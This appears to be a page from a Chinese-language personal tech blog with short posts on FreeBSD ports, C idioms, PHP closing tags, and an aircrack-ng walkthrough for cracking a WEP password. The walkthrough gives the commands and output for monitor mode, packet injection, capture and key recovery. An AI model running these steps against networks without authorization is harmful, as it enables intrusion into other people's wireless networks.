Skip to content

Zeroplex 生活隨筆

軟體開發、伺服器和生活瑣事

小 縮小字型大小。 中 重設字型大小。 大 放大字型大小。

Prevent configuration while making ports on FreeBSD

Posted on 2012 年 1 月 28 日2021 年 3 月 12 日 By 日落 在〈Prevent configuration while making ports on FreeBSD〉中有 1 則留言

在 FreeBSD 裝 ports 時,有些 ports 會需要 make config。

若 ports 很大 (像 KDE 之類的),make 一次不知道就要按多少次 ok 才會繼續動作。但又不是閒閒整天都做在電腦前等著按 ok。

在 man 7 ports 裡面有提到,設定環境參數 BATCH,系統就會使用預設值做編譯,可以省掉不少麻煩。

set BATCH in tcsh:

setenv BATCH yes

設定好之後,大部分的 make config 就會使用預設值並自動往下做。

參考資料:
How can I avoid the prompts when installing a FreeBSD port?
http://unix.stackexchange.com/questions/5257/how-can-i-avoid-the-prompts-when-installing-a-freebsd-port

Tags:FreeBSD

用 aircrack 解 WEP 密碼

Posted on 2012 年 1 月 6 日2021 年 3 月 12 日 By 日落 在〈用 aircrack 解 WEP 密碼〉中尚無留言
用 aircrack 解 WEP 密碼

查詢 AP 資訊,找出目標 SSID 和 channel:

$ sudo iwlist wlan0 scanning
          Cell 01 - Address: 00:14:6C:7E:40:80
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=39/70  Signal level=-71 dBm  
                    Encryption key:on
                    ESSID:"Zeroplex"

用 airmon-ng 進入監聽模式,注意最後一個參數是目標 AP 所用的 channel:

$ sudo airmon-ng start wlan0 11

Interface Chipset  Driver

wlan0  RTL8187  rtl8187 - [phy2]
    (monitor mode enabled on mon0)

訊息後方有顯示模擬來監聽的網卡,之後 aireplay-ng 和 airodump-ng 會用這個 device。先用 aireplay-ng 檢查與目標 AP 的通訊狀況,參數「-9」表示做 injection test:

$ sudo aireplay-ng -9 -e Zeroplex mon0
21:39:04  Waiting for beacon frame (ESSID: Zeroplex) on channel 11
Found BSSID "00:14:6C:7E:40:80" to given ESSID "Zeroplex".
21:39:04  Trying broadcast probe requests...
21:39:04  Injection is working!
21:39:06  Found 1 AP 

21:39:06  Trying directed probe requests...
21:39:06  00:14:6C:7E:40:80 - channel: 11 - 'Zeroplex'
21:39:06  Ping (min/avg/max): 0.604ms/10.323ms/37.851ms Power: -14.86
21:39:06  29/30:  96%

最後一行的百分比表示訊號概況,數值越高表示成功率越高,距離 AP 太遠或是太近都會有影響。

準備好後就可以開始用 airodump-ng 監聽。參數「-i」表示只記錄對破解有用的資訊,沒有家䢢這個參數時,airodump-ng 會記錄所有封包內容,若有人在抓 BT 小心硬碟被吃光光;參數「-w」後加上記錄檔名稱;「–bssid」為目標 AP 的 MAC address、「-c」是channel,若沒有指定特定目標,airodump-ng 會記錄所有接收到的資訊。


$ sudo airodump-ng --bssid 00:14:6C:7E:40:80 -c 11 -i -w data mon0

 CH 11 ][ Elapsed: 0 s ][ 2012-01-07 21:48                                         
                                                                                                                            
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                         
                                                                                                                            
 00:14:6C:7E:40:80  -20   0        9        1    0  11  54e. WEP WEP        Zeroplex        

Beacons 與 Data 數量越多對破解越有利。

最後使用 aircrack 嘗試解開密碼:

$ aircrack-ng record-01.cap -l key.txt

解密碼會花上一段時間,若有成功解開密碼,會將密碼寫進 key.txt 裡;若資訊量不足以解開密碼,請繼續監聽,直到 IVs 達到門檻值後再嘗試。

aircrack 的 tutorial 裡面還有介紹 aireplay-ng 的其他玩法,有興趣的可以試試看。

Tutorial: Simple WEP Crack
http://www.aircrack-ng.org/doku.php?id=simple_wep_crack

Tags:資訊安全

scanf 回傳值

Posted on 2011 年 12 月 25 日2021 年 3 月 12 日 By 日落 在〈scanf 回傳值〉中尚無留言

剛學 C 時並沒有注意到 scanf 回傳值。

scanf 讀取成功時會傳回轉換完成的參數數量,如果失敗則會傳回 EOF。讀取資料直到 EOF 可以寫成:

while( scanf(" %s", intput) != EOF ){
   // Todo
}

for 迴圈

Posted on 2011 年 12 月 24 日2021 年 3 月 12 日 By 日落 在〈for 迴圈〉中尚無留言

以前用 for 迴圈跑字串,都要寫好常一串:

char s[5]="123";
int index = 0;
while( s[index] != '' ){
   // get s[index];
   index++;
}

無意間看到有人這樣寫:

char s[5]="123";
int index;
for(index=0; s[index]; index++){
   // get s[index];
}

原因是 會被當作 false,換做其他資料型別的陣列就沒辦法這樣寫。

Tags:C/C++, 程式設計

PHP Closing Tags

Posted on 2011 年 12 月 23 日2021 年 3 月 12 日 By 日落 在〈PHP Closing Tags〉中尚無留言

一般寫 PHP 會將系統設定、資料庫連結等功能分開放在多個不同的檔案中。

index.php:

<?php
   require('settings.php');

   // something else

   session_start();
?>

settings.php:

<?php
   // some settings
?>
 

以上程式執行以後會噴錯誤訊息:
session_start(): Cannot send session cache limiter - headers already sent
原因是在 index.php 呼叫 session_start() 之前已經輸出資料,不過到底是哪裡有輸出資料?仔細看才會發現 settings.php 在「?>」後方還換了一行,換行是在 PHP closing tag 之外,所以就被當作一般資料送出。

當程式很龐大時,這種 bug 實在會讓人摔鍵盤、丟滑鼠、凹螢幕。

事實上 PHP 程式不加上結尾的「?>」也是可以執行的,直譯器到檔案結尾會自動當作該程式段落結束,所以程式可以改寫成這樣:

index.php

<?php
   require('settings.php');

   // something else

   session_start();
 

settings.php

<?php
   // some settings
 
 
Tags:PHP, 程式設計

文章分頁

上一頁 1 ... 126 127 128 ... 318 下一頁

其他

關於我  (About me)

  文章 RSS Feed

  留言 RSS Feed

Apache AWS Bash C/C++ Docker FreeBSD GCP Git Google Java JavaScript Laravel Linux Microsoft MSSQL MySQL Nginx PHP PHPUnit PostgreSQL Python Qt Ubuntu Unix Vim Web Windows WordPress XD 作業系統 分享 好站推薦 專題 攝影 新奇搞笑 新聞 旅遊 生活雜記 程式設計 網路架站 網頁設計 資訊學習 資訊安全 遊戲 音樂


創用 CC 授權條款
本著作係採用創用 CC 姓名標示-相同方式分享 4.0 國際 授權條款授權.